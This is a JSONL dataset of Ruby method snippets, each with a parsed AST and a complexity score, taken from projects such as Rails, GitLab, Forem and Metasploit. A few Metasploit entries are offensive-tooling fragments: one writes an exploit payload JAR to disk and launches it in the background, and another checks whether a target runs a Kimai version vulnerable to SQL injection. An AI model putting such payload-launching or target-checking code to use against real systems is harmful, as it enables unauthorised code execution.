{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/exploits/test/java_tester.rb","start_line":42,"raw_source":"def exploit\n    # Equivalent to payload.encoded\n    @jar_data = payload.encoded_jar.pack\n\n    File.open(\"payload.jar\", \"wb\") do |fd|\n      fd.write(@jar_data)\n    end\n\n    pid = Process.spawn(\"java -jar payload.jar &\")\n    Process.detach pid\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@jar_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded_jar\"]},\"pack\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"str\",\"children\":[\"payload.jar\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"write\",{\"type\":\"ivar\",\"children\":[\"@jar_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"java -jar payload.jar &\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"detach\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]}","id":"33e4dbbb-e06b-42c7-8565-3508e6433eb9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb","start_line":129,"raw_source":"def list_files_in_zip(zip_data)\n    files = []\n    begin\n      ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|\n        while (entry = io.get_next_entry)\n          files << entry.name\n        end\n      end\n    rescue ::Zip::Error, ::IOError, ::ArgumentError => e\n      fail_with(Failure::UnexpectedReply, \"Invalid ZIP data: #{e.class} - #{e.message}\")\n    end\n    files\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"list_files_in_zip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zip_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Zip\"]},\"InputStream\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"zip_data\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"get_next_entry\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"name\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Zip\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IOError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid ZIP data: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}","id":"30d70724-ca21-4a54-84ac-8fe39f57d873"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/moderator/banish_user.rb","start_line":44,"raw_source":"def remove_profile_info\n      user.profile.clear!\n      user.update_columns(profile_image: DEFAULT_PROFILE_IMAGE)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_profile_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"profile\"]},\"clear!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_image\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_PROFILE_IMAGE\"]}]}]}]}]}]}","id":"8cd658ef-f593-4424-88ec-fe11817bc9fb"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/project.rb","start_line":225,"raw_source":"def app_name\n      # WRAPPER_NAME: Example.app\n      # WRAPPER_SUFFIX: .app\n      name = build_settings(key: \"WRAPPER_NAME\")\n\n      return name.gsub(build_settings(key: \"WRAPPER_SUFFIX\"), \"\") if name\n      return \"App\" # default value\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"app_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"build_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"WRAPPER_NAME\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub\",{\"type\":\"send\",\"children\":[null,\"build_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"WRAPPER_SUFFIX\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"App\"]}]}]}]}","id":"2476b2a4-42e2-440a-bb39-5784d2ed5faf"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/shared_generator_tests.rb","start_line":391,"raw_source":"def test_generated_files_have_no_rubocop_warnings\n    run_generator\n\n    Dir.chdir(destination_root) do\n      output = `./bin/rubocop`\n\n      assert_predicate $?, :success?, \"bin/rubocop did not exit successfully:\\n#{output}\"\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generated_files_have_no_rubocop_warnings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./bin/rubocop\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"gvar\",\"children\":[\"$?\"]},{\"type\":\"sym\",\"children\":[\"success?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rubocop did not exit successfully:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}]}]}]}","id":"1936c2df-3381-4da4-865e-8517fe985bda"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/kimai_sqli.rb","start_line":70,"raw_source":"def check\n    vprint_status(\"Checking version...\")\n    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, \"index.php\") })\n    if not res\n      vprint_error(\"Request timed out\")\n      return Exploit::CheckCode::Unknown\n    elsif res.body =~ /Kimai/ and res.body =~ /(0\\.9\\.[\\d\\.]+)<\\/strong>/\n      version = \"#{$1}\"\n      print_good(\"Found version: #{version}\")\n      if version >= \"0.9.2\" and version <= \"0.9.2.1306\"\n        return Exploit::CheckCode::Appears\n      end\n    end\n    return Exploit::CheckCode::Safe\n  end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking version...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Request timed out\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Kimai\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(0\\\\.9\\\\.[\\\\d\\\\.]+)</strong>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">=\",{\"type\":\"str\",\"children\":[\"0.9.2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"str\",\"children\":[\"0.9.2.1306\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"c9c52bff-fdde-4087-bc75-69aa375d9ca2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/postgresql_adapter/type_map_cache.rb","start_line":24,"raw_source":"def initialize_type_map(map = type_map)\n          TYPE_MAP_CACHE_MONITOR.synchronize do\n            cached_type_map = self.class.type_map_cache[@connection_parameters.hash]\n            break @type_map = cached_type_map if cached_type_map\n\n            super\n            self.class.type_map_cache[@connection_parameters.hash] = map\n          end\n        end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_type_map\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"map\",{\"type\":\"send\",\"children\":[null,\"type_map\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPE_MAP_CACHE_MONITOR\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cached_type_map\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"type_map_cache\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection_parameters\"]},\"hash\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_type_map\"]},{\"type\":\"break\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@type_map\",{\"type\":\"lvar\",\"children\":[\"cached_type_map\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"type_map_cache\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection_parameters\"]},\"hash\"]},{\"type\":\"lvar\",\"children\":[\"map\"]}]}]}]}]}","id":"4f07e5e7-f690-4632-b633-2ab2f1c3c2ca"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/commissioner.rb","start_line":163,"raw_source":"def invoke_with_argument(callback, cops, arg)\n        cops.each { |cop| with_cop_error_handling(cop) { cop.send(callback, arg) } }\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke_with_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"callback\"]},{\"type\":\"arg\",\"children\":[\"cops\"]},{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cops\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_cop_error_handling\",{\"type\":\"lvar\",\"children\":[\"cop\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"callback\"]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}]}","id":"5061c582-e476-4206-b0e9-7108bede23fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/path.rb","start_line":7,"raw_source":"def qa_root\n          ::File.expand_path('../../', __dir__)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"qa_root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}","id":"87b52049-a6df-4572-8559-f067350db24e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/imap.rb","start_line":36,"raw_source":"def connect(global = true)\n    fd = super\n\n    # Wait for a banner to arrive...\n    self.banner = fd.get_once(-1, 30)\n\n    # Return the file descriptor to the caller\n    fd\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"global\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fd\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"banner=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"lvar\",\"children\":[\"fd\"]}]}]}","id":"bc7c08fe-3b2e-42fe-ac29-8ee734977bf6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression/field.rb","start_line":45,"raw_source":"def custom_attribute_column?\n    column.include?(CustomAttributeMixin::CUSTOM_ATTRIBUTES_PREFIX)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_attribute_column?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomAttributeMixin\"]},\"CUSTOM_ATTRIBUTES_PREFIX\"]}]}]}","id":"0461e5d4-592d-4ccb-bdd5-7d719a39d64a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/base_service.rb","start_line":84,"raw_source":"def inexistent_milestone_ids\n      return [] unless param_for_milestone_ids_provided?\n\n      existing_milestone_ids = milestones.map(&:id)\n\n      Array(params[:milestone_ids]) - existing_milestone_ids\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inexistent_milestone_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"param_for_milestone_ids_provided?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_milestone_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestones\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_ids\"]}]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"existing_milestone_ids\"]}]}]}]}","id":"295d0352-695a-4d3d-b043-6942fad52e45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251013071130_create_namespace_isolations.rb","start_line":6,"raw_source":"def change\n    create_table :namespace_isolations do |t|\n      t.bigint :namespace_id, null: false\n      t.timestamps_with_timezone null: false\n      t.boolean :isolated, null: false, default: false\n\n      t.index :namespace_id, unique: true\n      t.foreign_key :namespaces, column: :namespace_id, on_delete: :cascade\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"namespace_isolations\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"isolated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"foreign_key\",{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}]}","id":"9f72fd82-3871-40be-98ae-bbe2371a32f7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":750,"raw_source":"def test_associate_with_create_with_through_having_conditions\n    impatient_people = posts(:thinking).impatient_people.count\n    posts(:thinking).impatient_people.create!(first_name: \"foo\")\n    assert_equal impatient_people + 1, posts(:thinking).impatient_people.count\n  end","complexity_score":14.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_associate_with_create_with_through_having_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"impatient_people\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"impatient_people\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"impatient_people\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impatient_people\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"impatient_people\"]},\"count\"]}]}]}]}","id":"14df6ba2-bc33-4923-b377-e6b08ed3b215"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/offset_pagination.rb","start_line":77,"raw_source":"def total_count(paginated_data)\n        paginated_data.total_count unless data_without_counts?(paginated_data)\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"total_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paginated_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_without_counts?\",{\"type\":\"lvar\",\"children\":[\"paginated_data\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginated_data\"]},\"total_count\"]}]}]}","id":"a4ed0be3-de70-4ca5-a2cb-febdddcc3d8f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project_queries/scopes/allowed_to.rb","start_line":77,"raw_source":"def ctes_for_edit_permission(user) # rubocop:disable Metrics/AbcSize\n        can_manage_global_queries = user.allowed_globally?(:manage_public_project_queries)\n\n        public_queries = if can_manage_global_queries\n                           where(public: true).select(:id).arel\n                         else\n                           none.select(:id).arel\n                         end\n\n        user_owned_queries = if can_manage_global_queries\n                               where(user_id: user.id).select(:id).arel\n                             else\n                               where(user_id: user.id, public: false).select(:id).arel\n                             end\n\n        allowed_via_membership = allowed_to_member_relation(user, :edit_project_query).select(arel_table[:id]).arel\n\n        { public_queries:, user_owned_queries:, allowed_via_membership: }\n      end","complexity_score":32.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ctes_for_edit_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"can_manage_global_queries\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allowed_globally?\",{\"type\":\"sym\",\"children\":[\"manage_public_project_queries\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"public_queries\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"can_manage_global_queries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_owned_queries\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"can_manage_global_queries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_via_membership\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_member_relation\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"edit_project_query\"]}]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"arel\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_queries\"]},{\"type\":\"lvar\",\"children\":[\"public_queries\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_owned_queries\"]},{\"type\":\"lvar\",\"children\":[\"user_owned_queries\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_via_membership\"]},{\"type\":\"lvar\",\"children\":[\"allowed_via_membership\"]}]}]}]}]}","id":"1560bcfc-dccd-4126-954b-e6e8ef375498"}
